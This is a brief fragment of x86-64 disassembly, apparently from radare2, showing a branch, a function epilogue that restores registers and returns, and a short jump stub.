test esi, esi
jne 0x140003981
mov ecx, r14d
call fcn.14000399c
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140003830